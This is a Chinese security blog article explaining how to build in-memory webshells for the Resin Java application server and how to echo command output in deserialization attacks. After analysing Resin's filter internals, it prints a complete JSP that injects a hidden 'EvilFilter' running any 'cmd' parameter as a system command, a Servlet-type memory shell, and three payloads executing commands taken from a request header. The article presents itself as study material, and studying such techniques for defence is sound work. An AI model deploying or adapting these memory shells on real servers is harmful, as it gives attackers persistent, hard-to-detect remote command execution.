攻防技术 | Resin内存马与回显姿势

admin 2024年2月5日22:00:11评论12 views字数 14673阅读48分54秒阅读模式

关注我们❤️,添加星标🌟,一起学安全!
作者:KimJun@Timeline Sec
本文字数:4039
阅读时长:3~5min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x00 Resin简介

ResinCAUCHO 公司(http://www.caucho.com/)的产品,是一个非常流行的支持 servletsjsp 的引擎,速度非常快。Resin 本身包含了一个支持 HTTP/1.1 WEB 服务器。虽然它可以显示动态内容,但是它显示静态内容的能力也非常强,速度直逼 APACHE SERVER

Servlet

Servlet 是一种处理请求和发送响应的程序,Servlet是为了解决动态页面而衍生的东西

Tomcat 与 Resin

相同点:

  • 都是web服务器,对servletjsp提供了良好的支持,自身采用java开发,都支持集群部署

不同点:

  • resin专业版是要收费,而tomcat是免费的,resin专业版支持缓存和负载均衡
  • Resin 在一台机器上配置多个运行实例时,稍显麻烦,不像Tomcat复制多份,修改个端口即可,完全独立

0x01 Resin Filter内存马分析

Tomcat Filter类型的内存马一样,Resin Filter型的内存马原理是:当Web请求经过 Filter ,如果我们动态创建一个恶意的Filter并且将其放在最前面,程序运行时就会优先执行我们的恶意代码

Resin调试环境搭建

在官方网站下载对应压缩包[https://caucho.com/products/resin/download/gpl](https://caucho.com/products/resin/download/gpl),本地调试环境需要下载source,和搭建Tomcat环境差不多,这里就不细说,可以参考p牛搭建Tomcat源码调试环境的文章

攻防技术 | Resin内存马与回显姿势

Resin Filter 流程分析

在注入 Filter内存马之前,我们先来分析一下正常FilterResin中的流程是怎么样的 自定义 filter

package com.test;

import javax.servlet.*;
import java.io.IOException;

public class FilterDemo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始化创建");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("Filter 进行过滤");
    }

    @Override
    public void destroy() {
        System.out.println("Filter 销毁");
    }
}

然后在web.xml中注册我们的filter,这里我们设置url-pattern/filterDemo 即访问 /filterDemo 才会触发

<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >


<web-app>
  <display-name>Archetype Created Web Application</display-name>
  <filter>
    <filter-name>filterDemo</filter-name>
    <filter-class>com.test.FilterDemo</filter-class>
  </filter>
  <filter-mapping>
    <filter-name>filterDemo</filter-name>
    <url-pattern>/filterDemo</url-pattern>
  </filter-mapping>
</web-app>

访问 http://localhost:8080/resinTest/filterDemo ,发现成功触发,resinTest为当前项目名

攻防技术 | Resin内存马与回显姿势

接下来来分析一下Resin如何调用我们的自定义的filterResin.java是启动Resin服务器的入口点,前面都是一些环境初始化的操作,主要看resin.initMain();

攻防技术 | Resin内存马与回显姿势

首先JspCompiler会查找并读取 WEB-INF/web.xml文件,然后把webApp对象和webXml传入configureBean方法中

攻防技术 | Resin内存马与回显姿势

然后XmlConfigContext使用对web.xml文件进行一系列解析,首先处理filter标签这一部分

 <filter>
    <filter-name>filterDemo</filter-name>
        <filter-class>com.test.FilterDemo</filter-class>
</filter>
攻防技术 | Resin内存马与回显姿势

configureBeanProperties,生成一个childBean对象,里面是一个FilterConfigImpl,获取到filterName=filterDemo,filterClass=com.test.FilterDemo

攻防技术 | Resin内存马与回显姿势
攻防技术 | Resin内存马与回显姿势

接着使用attrStrategy.setValue(bean, qName, childBean);进行反射生成filter,跟进

攻防技术 | Resin内存马与回显姿势

发现通过WebApps.addFilter(FilterConfigImpl config)添加filterFilterManager是一个filter管理器,跟进它的_filterManager.addFilter(config);

攻防技术 | Resin内存马与回显姿势

这里可以发现FilterManager通过_filters添加filterNameconfig属性,_filters是一个Hashmap

攻防技术 | Resin内存马与回显姿势
攻防技术 | Resin内存马与回显姿势

接着处理filter-mapping标签,同样的,解析后反射调用

  <filter-mapping>
        <filter-name>filterDemo</filter-name>
        <url-pattern>/filterDemo</url-pattern>
  </filter-mapping>
攻防技术 | Resin内存马与回显姿势

_filterMap是一个ArrayList动态数组,里面存储filterMapping对象

攻防技术 | Resin内存马与回显姿势
攻防技术 | Resin内存马与回显姿势

WebApp中还有一个_filterMapper,他的buildDispatchChain方法会根据_filterMap的数组顺序依次调用链上的Filter

攻防技术 | Resin内存马与回显姿势

0x02 内存马实现

根据上面的分析,如果我们需要实现一个filter内存马,攻击的大致流程如下:

  1. 获取上下文对象,同时创建一个恶意 Filter
  2. 利用filterConfigImplFilter进行一个封装,使用webapp对象addFilter
  3. 创建相应filter路由映射
  4. 创建新的ArrayList<FilterMapping> ,并将恶意的filterMapping插到首位

Filter类型

tomcat中我们知道,可以通过MBeanlastServicedRequestrequest.getSession().getServletContext()Thread.currentThread().getContextClassLoader()等多种方式去获取上下文对象 在Resin中可以通过反射获取线程中的ServletInvocation,使用它的getContextRequest方法,获取上下文对象,再通过它的实现HttpServletRequestImplgetWebApp方法获取webApp

攻防技术 | Resin内存马与回显姿势

最终的完整的Filter内存马:

<%@ page import="com.caucho.server.webapp.WebApp" %>
<%@ page import="com.caucho.server.dispatch.FilterConfigImpl" %>
<%@ page import="com.caucho.server.dispatch.FilterMapping" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.caucho.server.dispatch.FilterMapper" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%
    ClassLoader classloader = Thread.currentThread().getContextClassLoader();
    Class servletInvocationClazz = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation");
    Class filterConfigImplClazz = classloader.loadClass("com.caucho.server.dispatch.FilterConfigImpl");
    Class filterMappingClazz = classloader.loadClass("com.caucho.server.dispatch.FilterMapping");
    Class filterMapperClazz = classloader.loadClass("com.caucho.server.dispatch.FilterMapper");

    Object contextRequest = servletInvocationClazz.getMethod("getContextRequest").invoke(null);
    WebApp webapp = (WebApp) contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest);

    //判断是否已经注入
    String evilFilterName = "EvilFilter";
    if (webapp.getFilterRegistration(evilFilterName) != null) {
        out.println("Resin FilterMemShell Injected!!");
        return;
    }

    //创建并添加 filterConfigImpl 实例
    Filter evilFilter = new Filter() {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            System.out.println("EvilFilter 初始化");
        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            System.out.println("EvilFilter 进行过滤");
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            if (req.getParameter("cmd") != null) {
                Process process = Runtime.getRuntime().exec(req.getParameter("cmd"));
                BufferedReader bf = new BufferedReader(new InputStreamReader(process.getInputStream()));
                StringBuilder result = new StringBuilder();
                String line;
                while ((line = bf.readLine()) != null) {
                    result.append(line).append("</br>");
                }
                servletResponse.getWriter().write(result.toString());
                process.destroy();
            }
            filterChain.doFilter(servletRequest, servletResponse);
        }
        @Override
        public void destroy() {
            System.out.println("EvilFilter 销毁");
        }
    };

    Class newFilterClazz = evilFilter.getClass();
    FilterConfigImpl filterConfigimpl = (FilterConfigImpl) filterConfigImplClazz.newInstance();
    filterConfigimpl.setFilterName(evilFilterName);
    filterConfigimpl.setFilter(evilFilter);
    filterConfigimpl.setFilterClass(newFilterClazz);
    webapp.addFilter(filterConfigimpl);

    //创建相应 filter 路由映射
    FilterMapping filterMapping = (FilterMapping) filterMappingClazz.newInstance();
    FilterMapping.URLPattern filterMappingUrlPattern = filterMapping.createUrlPattern();
    filterMappingUrlPattern.addText("/*");
    filterMappingUrlPattern.init();
    filterMapping.setFilterName(evilFilterName);
    filterMapping.setServletContext(webapp);

    //设置filterMapper
    Field fieldWebappFilterMapper;
    try {
        fieldWebappFilterMapper = webapp.getClass().getDeclaredField("_filterMapper");
    } catch (NoSuchFieldException Exception) {
        try {
            fieldWebappFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_filterMapper");
        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        }
    }
    fieldWebappFilterMapper.setAccessible(true);
    FilterMapper filtermapper = (FilterMapper) fieldWebappFilterMapper.get(webapp);
    Field fieldFilterMapperFilterMap = filterMapperClazz.getDeclaredField("_filterMap");
    fieldFilterMapperFilterMap.setAccessible(true);

    //把EvilFilter放到首位
    ArrayList<FilterMapping> newFilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(filtermapper);
    newFilterMappings.add(0,filterMapping);
    fieldFilterMapperFilterMap.set(filtermapper, newFilterMappings);
    fieldWebappFilterMapper.set(webapp, filtermapper);
    out.println("Resin FilterMemShell Inject Success!!");
%>

开启服务,访问 evil.jsp,注入成功

攻防技术 | Resin内存马与回显姿势

访问http://localhost:8080/resinTest/index.jsp?cmd=ls,执行成功

攻防技术 | Resin内存马与回显姿势

Servlet类型

同理,Resin Servlet类型的内存马也可以按照上面的方法进行分析,直接给出代码:

public class ResinServletMem implements Servlet {

 public static String pattern;

 static {
  try {
   String servletName = "evilServlet";

   Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch" +
     ".ServletInvocation");

   Method                       getContextRequest = si.getMethod("getContextRequest");
   javax.servlet.ServletRequest contextRequest    = (javax.servlet.ServletRequest) getContextRequest.invoke(null);

   Method getServletContext = javax.servlet.ServletRequest.class.getMethod("getServletContext");
   Object web               = getServletContext.invoke(contextRequest);

   com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp) web;

   com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();

   Field f = ServletConfigImpl.class.getDeclaredField("_servletClass");
   f.setAccessible(true);
   f.set(smapping, RSMSFromThread.class);

   Field f1 = ServletConfigImpl.class.getDeclaredField("_servletClassName");
   f1.setAccessible(true);
   f1.set(smapping, RSMSFromThread.class.getName());

   Field f2 = web1.getClass().getDeclaredField("_servletManager");
   f2.setAccessible(true);

   Object manager = f2.get(web1);
   Field  f3      = ServletManager.class.getDeclaredField("_servlets");
   f3.setAccessible(true);
   HashMap map = (HashMap) f3.get(manager);

   map.put(servletName, new ServletConfigImpl());

   smapping.setServletName(servletName);
   smapping.addURLPattern(pattern);

   web1.addServletMapping(smapping);
  } catch (Exception ignored) {
  }
 }

 @Override
 public void init(ServletConfig servletConfig) throws ServletException {
 }

 @Override
 public ServletConfig getServletConfig() {
  return null;
 }

 @Override
 public void service(ServletRequest servletRequest, ServletResponse servletResponse) {
 }

 @Override
 public String getServletInfo() {
  return null;
 }

 @Override
 public void destroy() {
 }
}

0x03 Resin反序列化攻击

基于resin开发的应用如果存在反序列漏洞的情况下,因为注入的是字节码,如果想打cmd回显,需要通过一些手段获取到 requestresponse,下面列举Resin中几种回显的方式

回显问题

思路:通过反射技术遍历全局变量的所有属性的类型,查找request对象 方法1:阅读源码,寻找存储有request对象的全局变量 方法2:使用工具进行半自动化反射搜索全局变量

这里用到,半自动化挖掘request实现多种中间件回显工具:[https://github.com/c0ny1/java-object-searcher](https://github.com/c0ny1/java-object-searcher)

攻防技术 | Resin内存马与回显姿势

编码实现

根据挖掘结果构造回显payload,主要有三种

 public static void getResponse1() throws Exception {
        Thread thread = Thread.currentThread();
        Field threadLocals = Thread.class.getDeclaredField("threadLocals");
        threadLocals.setAccessible(true);
        Object threadLocalMap = threadLocals.get(thread);

        Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
        Field tableField = threadLocalMapClazz.getDeclaredField("table");
        tableField.setAccessible(true);
        Object[] objects = (Object[]) tableField.get(threadLocalMap);

        Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
        Field entryValueField = entryClass.getDeclaredField("value");
        entryValueField.setAccessible(true);

        for (Object object : objects) {
            if (object != null) {
                Object valueObject = entryValueField.get(object);
                if (valueObject != null) {
                    if (valueObject.getClass().getName().equals("com.caucho.server.http.HttpRequest")) {
                        HttpRequest httpRequest = (com.caucho.server.http.HttpRequest) valueObject;
                        //执行命令
                        String cmd1 = httpRequest.getHeader("cmd");
                        String[] cmd = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh""-c", cmd1} : new String[]{"cmd.exe""/c", cmd1};
                        InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                        java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\a");
                        String output = s.hasNext() ? s.next() : "";

                        //response
                        HttpResponse httpResponse = httpRequest.createResponse();
                        httpResponse.setHeader("Content-Length", output.length() + "");
                        Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream");
                        method.setAccessible(true);
                        com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse);
                        httpResponseStream.write(output.getBytes(), 0, output.length());
                        httpResponseStream.close();
                    }
                }
            }
        }
    }

    //request对象存储TcpSocketLink
    public static void getResponse2() throws Exception {
        Class tcpsocketLinkClazz = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.network.listen.TcpSocketLink");
        java.lang.reflect.Method getCurrentRequestM = tcpsocketLinkClazz.getMethod("getCurrentRequest");
        Object currentRequest = getCurrentRequestM.invoke(null);
        java.lang.reflect.Field f = currentRequest.getClass().getSuperclass().getDeclaredField("_responseFacade");
        f.setAccessible(true);
        Object response = f.get(currentRequest);
        java.lang.reflect.Method getWriterM = response.getClass().getMethod("getWriter");
        java.io.PrintWriter w = ( java.io.PrintWriter) getWriterM.invoke(response);
        //response
        String[] cmd = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh""-c""whoami"} : new String[]{"cmd.exe""/c","whoami"};
        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
        java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\a");
        String output = s.hasNext() ? s.next() : "";
        //输出
        w.write(output);
    }

    //request对象存储ServletInvocation
    public static void getResponse3() throws Exception {
        Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
        java.lang.reflect.Method getContextRequest = si.getMethod("getContextRequest");
        com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl) getContextRequest.invoke(null);
        try {
            if (req.getHeader("cmd") != null) {
                String cmd = req.getHeader("cmd");
                javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse();
                java.io.PrintWriter out = rep.getWriter();
                out.println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\A").next());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

回复“20240205”获取pdf文章

原文始发于微信公众号(Timeline Sec):攻防技术 | Resin内存马与回显姿势

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月5日22:00:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   攻防技术 | Resin内存马与回显姿势http://cn-sec.com/archives/2473145.html

发表评论

匿名网友 填写信息